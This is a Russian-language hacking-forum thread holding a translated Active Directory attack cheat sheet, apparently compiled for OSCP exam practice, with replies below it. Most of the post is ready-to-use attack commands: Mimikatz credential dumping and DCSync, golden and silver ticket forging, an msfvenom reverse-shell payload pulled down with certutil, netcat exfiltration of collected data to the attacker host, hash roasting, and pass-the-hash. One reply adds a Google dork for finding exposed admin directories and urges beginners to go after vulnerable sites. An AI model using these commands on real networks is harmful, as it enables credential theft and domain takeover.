• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Памятка по атакам на Active Directory

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Вы с трудом запоминаете множество различных атак Active Directory и векторов сбора информации? Я тоже.. Хотя открою вам секрет: большинство пентестеров не запоминают все сразу, просто они очень хорошо гуглят и обычно имеют свои личные шпаргалки.

По сути, этот пост в основном будет сводом информации об AD, которую я собрал во время подготовки к экзамену OSCP. Он не охватывает всего, что связано с AD, я не вдаюсь в подробности и не объясняю каждый тип атаки, я буквально просто вставляю и переформатирую шпаргалку, которую использовал на экзамене. Это не предназначено для того, чтобы быть каким-либо туториалом, просто то, что было (и в настоящее время) полезно для меня. Ничего, с чем я столкнулся на экзамене, не было на этом листе. Для этого нет определенного порядка, поэтому я бы рекомендовал взять все это и вставить в свой собственный OneNote или что-то еще, что вы используете.

Быстрый отказ от ответственности: любой из инструментов, которые находятся в каталоге impacket, можно запускать как двоичный файл, а не задавать cd или указывать их пути. т.е. вместо "/usr/share/doc/python3-impacket/examples/GetUserSPNs.py" вы можете просто ввести "impacket-GetUserSPNs", и все должно работать. Я не могу вспомнить, приходилось ли мне возиться, чтобы заставить его работать так. Я почти уверен, что это сработало на новой чистом Kali, так что пробуйте. Если это не сработает, дайте мне знать, и посмотрим, чем я могу помочь.

Большая часть "хороших вещей", которые я использую, находится в последнем разделе — Remote AD Enumeration/Attacks.

Этот пост также опубликован на моем личном сайте:

Шпаргалки по сбору информации


Атаки на привилегии

Kerbrute Enumeration — доступ к домену не требуется
Pass the Ticket — доступ в качестве пользователя к требуемому домену
Kerberoasting — доступ от имени любого пользователя
AS-REP Roasting — Доступ от имени любого пользователя
Golden Ticket — требуется полная компрометация домена (администратор домена)
Silver Ticket — требуется служебный хэш
Skeleton Key — требуется полная компрометация домена (администратор домена)


Практика по AD атакам:


- HTB: Forest, Sauna, Active, Monteverde, Sizzle, Cascade

Bloodhound


Один из лучших инструментов для получения инфы с AD. Используйте его в сочетании с SharpHound.exe на цели, чтобы получить визуальное представление домена. Также имеет несколько полезных предварительно созданных запросов для определения наилучшего пути к администратору домена, который поддерживает kerberoastable и т. д.


Учебное пособие по SharpHound:


Загрузить SharpHound (exe или ps1):


Памятка Bloodhound:

- [Из окна хакера] консоль neo4j [для запуска серверной службы]
- Введите учетные данные [из начальной настройки]
- Перенесите SharpHound (.exe или .ps1) и nc.exe на цель
- Запустите SharpHound.exe или .ps1
- Перенести добытые дааные обратно в kali:
- На $LHOST: nc -nlvp 4321 > loot.zip
- На цели: nc.exe -nv <kali IP> 4321 < loot.zip
- Перетащите loot.zip в графический интерфейс BloodHound.

Mimikatz.exe

Mimikatz.exe — это инструмент, который позволяет извлекать пароли, хранящиеся в памяти, и выполнять некоторые атаки AD (PTT и т. д.). Очевидно, по крайней мере, нужен пользователь с низким уровнем доступа, но обычно он работает только как администратор или SYSTEM. Просто перенесите его на цель и запустите двоичный файл.


Иногда для более старых систем требуется более старая версия Mimikatz.exe версии 2.1.1:


Всегда запускайте сеанс Mimikatz.exe, вводя:
privilege::debug
token::elevate

Когда я запускаю mimikatz, я обычно пытаюсь запустить большинство из приведенных ниже команд или, по крайней мере, выгружаю LSASS, дамп SAM и дамп секретов.

Шпаргалка gj Mimikatz.exe:

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controller’s Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain’s Credentials without touching DC’s LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list

Kerberoasting:


Pass-The-Ticket (PTT):

PTT работает путем дампа TGT из памяти LSASS машины. LSASS — это процесс памяти, который хранит учетные данные на сервере Active Directory и может хранить билеты Kerberos вместе с другими типами учетных данных. Когда вы дампите билет с помощью Mimikatz, он дает вам билет .kirbi, который можно использовать для получения администратора домена, если билет администратора домена находится в памяти LSASS. Отличная атака для повышения привилегий и бокового движения.

mimikatz.exe
mimikatz.exe
privilege::debug
sekurlsa::tickets /export [this will export all of the .kirbi tickets into your present working directory]


Теперь, чтобы сдать билет:

kerberos::ptt <.kirbi ticket>
klist [not in mimikatz session — verifies your ticket was injected]

Атака с золотым билетом:


Эта атака работает путем сброса TGT любого пользователя в домене, предпочтительно, чтобы это был администратор
домена, однако для золотого билета вы должны сбросить билет krbtgt, а для серебряного билета вы сбросите билет любой службы или домена.

mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt [to create a silver ticket change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account]
kerberos::golden /user:administrator /domain:<domain.local> /sid:<krbtgt’s full SID> /krbtgt:<NTLM Hash of krbtgt> /id:500 [to create a silver ticket user a different service account — place the NTLM, SID, and id 1103 into the proper slots of this command]


Чтобы получить доступ к другим машинам с золотым/серебряным билетом:

misc::cmd [to spawn cmd.exe instance for your new ticket]
dir \\<other machine name or IP>\C$

Обратная оболочка MSFVenom (.exe)


В этом нет ничего особенного. Мне просто нравилось иметь его под рукой.

msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=<Local IP>LPORT=4321 -f exe -o rev.exeIf this one doesn’t work try windows/x64/shell/reverse_tcp as the payload instead. Or take out x64 if it’s a 32-bit box.

Передача файлов (от цели)

На локальном хосте запустите веб-сервер из места, в котором находится файл, который вы хотите передать:

[From attack box] python3 -m http.server 8080On target, enter this command:certutil.exe -urlcache -split -f http://<your IP>:<web port>/<requested file>[example]
certutil.exe -urlcache -split -f http://1.2.3.4:8080/rev.exe

Запустите сеанс PowerShell и импортируйте модуль


powershell.exe -nop -exec bypassImport-Module <Full Path to xyz.ps1>

PowerView.ps1

PowerView — это сверхмощный сценарий PowerShell, который помогает в перечислении доменов. Также может выполнять определенные атаки, такие как kerberoasting. Это делает слишком много, чтобы печатать. Обычно я просто следую некоторым онлайн-руководствам по PowerView.


Invoke-Kerberoast [Очень приятно, когда работает]

https://powersploit.readthedocs.io/en/latest /Recon/Invoke-Kerberoast/

Подключиться к хосту с найденными/взломанными кредами

python3 /opt/impacket/examples/psexec.py <domain>/<username>:<password>@<IP>[or]impacket-psexec.py <domain>/<username>:<password>@<IP>[example]
impacket-psexec.py xor/sqlserver:shantewhite@10.11.1.121

ИЛИ

Если у вас есть кредиты/хэши для цели, используйте crackmapexec для запроса обратного шелла и снова для его выполнения.

Для первой команды измените раздел "rev.exe" на рисунке ниже на:

certutil.exe -urlcache -split -f http://<localhost>:<web port>/rev.exe

затем запустите модифицированную версию приведенной ниже команды (убедитесь, что вы размещаете веб-сервер для rev.exe и убедитесь, что у вас есть прослушиватель nc для оболочки):

1669151219589.png


Kerbrute

Kerbrute — это популярный инструмент перечисления, используемый для перебора и перечисления действительных пользователей Active Directory путем злоупотребления предварительной аутентификацией Kerberos. Мне нравится начинать перечисление имен пользователей с приведенного ниже списка слов, но, надеюсь, я смогу получить законные имена пользователей с помощью перечисления LDAP или enum4linux. Если это так, я создам список пользователей на основе этих имен и использую kerbrute, чтобы убедиться, что они действительно существуют.

Бинарный файл kerbrute:

Список слов:

Добавьте DNS-имя DC (или имя хоста) и IP-адрес в файл /etc/hosts

./kerbrute userenum --dc <hostname.local> -d <domain name> <path to user-wordlist>

Хороший инструмент для сбора TGT и проведения различных атак. Передайте его цели, чтобы запустить его.

Rubeus:


Собирайте TGT каждые 30 секунд:

rubeus.exe harvest /interval:30

Кербероастинг:

rubeus.exe kerberoast
[copy the hash to your attack box into a file — we’ll call it hash.txt]
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

AS-REP Roasting:


Подобно kerberoasting, AS-REP обрабатывает дамп хэшей krbasrep5 учетных записей пользователей, у которых отключена предварительная аутентификация Kerberos. В отличие от kerberoasting, эти пользователи не обязательно должны быть учетными записями службы; единственное требование для возможности обрабатывания пользователя AS-REP заключается в том, что у пользователя должна быть отключена предварительная аутентификация.

rubeus.exe asreproast /format:hashcat /outfile:<filename of choice>[save hash to file on attack box — we’ll call it hash.txt]hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Удаленное перечисление AD

Этот раздел - мой хлеб насущный. 90% того, что я делаю/использую, взято из этого раздела. Все сводится к перечислению: используйте enum4linux/ldapsearch, чтобы сначала посмотреть, можете ли вы найти пользователей/информацию, затем поместите этих пользователей в список и/или используйте kerbrute/impacket-lookupsid, чтобы найти больше/проверить найденных пользователей, затем просто запустите остальные команды и надеемся получить хеш обратно, взломать его, затем перейти к инструментам, требующим пароля, а затем повторно запустить все инструменты как новый пользователь/пароль.

Перечислить порт 139/445 с помощью enum4linux:

enum4linux -v <IP-адрес>

Перечисление LDAP с ldapsearch:

ldapsearch -x -h <IP> -s base namingcontexts
[Parse through the returned naming contexts, then enumerate each one]:
ldapsearch -x -h <IP> -b ‘DC=EGOTISTICAL-BANK,DC=LOCAL’
[You can further query specific sections of each naming context]:
ldapsearch -h <IP> -x -b “DC=cascade,DC=local” ‘(objectClass=person)’


Просмотрите выходные данные и посмотрите, сможете ли вы определить интересные параметры. Возможно, вы сможете создать список пользователей на основе вывода. Возможно, вам повезет, и вы найдете конфиденциальную информацию, например пароли. Попробуйте передать команду grep и grepping для пароля, pwd, пароля, домена, пользователя и т. д.

Перечислить пользователей через Kerbrute:

[add domain name to / etc / hosts file]./kerbrute userenum --dc <dc IP/hostname> -d <domain.local> <user list>


Если kerbrute не работает, попробуйте impacket-lookupsid

impacket-lookupsid <domain.local>@<DC IP>

Если ручное перечисление не дает вам действительного списка пользователей, попробуйте:
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

AS-REPROasting:

impacket-GetNPUsers <domain.local>/ -no-pass -usersfile <path to users list> -format hashcat [this command can also be used if you find valid creds, might get different results with creds][paste hash into a file — users.txt]
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt


1669151395734.png


Хеши паролей, к которым имеет доступ конкретная учетная запись службы (обычно требуются учетные данные):

impacket-secretsdump <username>:<password>@<domain name or IP> -dc-ip <DC IP>

1669151376213.png


Используйте Evil-WinRM или win-pth для подключения к хосту с помощью атаки PTH:

evil-winrm -i <IP> -u <user> -H <hash>

При использовании win-pth вы должны добавить пустой хэш LM в начало хэша пользователя, я предоставлю ссылку, объясняющую это.

Blank LM hash [always the same] — Aad3b435b51404eeaad3b435b51404ee
pth-winexe -U <domain>/<user>%<LM hash>:<user hash> //<IP> <command to run>
[Example win-pth command]:pth-winexe -U
svcorp/pete%aad3b435b51404eeaad3b435b51404ee:0f951bc4fdc5dfcd148161420b9c6207 //10.11.1.21 cmd.exe



Получить SPNs пользователя:

impacket-GetUserSPNs <IP or hostname>/<username>:<password> [add -request if SPN is found]
[save hash and crack with hashcat]
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Расшифровать cpassword Groups.xml:


Если вы найдете файл с именем Groups.xml в окне Windows, это XML-файл предпочтений групповой политики (GPP). gpp-decrypt извлечет из него имена пользователей и пароли и расшифрует их.

python3 gpp-decrypt.py -f <groups.xml file>
[or]
python3 gpp-decrypt.py -c <cpassword>



Заключение

Вот и все! Эксплуатация AD довольно проста, как только вы освоите ее. Наличие шпаргалки значительно упрощает жизнь. Когда у вас нехватка времени или вы чувствуете, что мозг устал, это сделает вашу жизнь намного проще. Смело берите этот файл и делайте, что хотите. Добавьте к нему строки, уберите, переформатируйте, мне все равно. Надеюсь, поможет!

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://medium.com/@dw3113r/active-directory-attack-cheat-sheet-ea9e9744028d
 
А как сейчас эти сервисы оплачивают если карты то не работают? Виза же с мастеркардом ушли.
 
А как сейчас эти сервисы оплачивают если карты то не работают? Виза же с мастеркардом ушли.
Если ты про всякие хакзебоксы и рутми, то появилось куча сервисов (рекламить тут не буду их) ты им бабки, а они тебе данные от карты с нужной тебе суммой, ну естественно берут свой %
Я так оплачиваю и хтб и тхм, полет нормальный.
По сабжу, инфа годная, спасибо.
 
Вы с трудом запоминаете множество различных атак Active Directory и векторов сбора информации? Я тоже.. Хотя открою вам секрет: большинство пентестеров не запоминают все сразу, просто они очень хорошо гуглят и обычно имеют свои личные шпаргалки.
Так никто почти ничего и не запоминает, да и зачем? Это какой мозг должен быть что бы запомнить всё как таблицу умножения все атаки... Это надо быть как был Крис Касперски - человеком дизассемблером... Только в плане пентеста.

Код:
intitle:"index of" inurl:superadmin

Начинающие хакеры, можете поиграть и с этим Гугл-дорком... Покрайней мере вы поймёте сколько же бажных сайтов в Интернете... И что далеко не все админы умные. Это придаст Вам сил в Ваших начинаниях, ведь обычно не начинаешь потому что думаешь что ничего не удастся и что всё везде давным давно пропатчено и притом сразу же, как только вышел патч, а это далеко не так.
 
Так никто почти ничего и не запоминает, да и зачем? Это какой мозг должен быть что бы запомнить всё как таблицу умножения все атаки... Это надо быть как был Крис Касперски - человеком дизассемблером... Только в плане пентеста.
Не совсем с тобой согласен, например я лично почти все команды, инструменты, тактики, триксы и т.д. помню. Просто когда каждый день делаешь вещи и не просто ctl+c\ctrl+v а осознанно вводишь команды и понимаешь что и для чего, оно со временем запоминается само. ИМХО дело опыта и практики.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх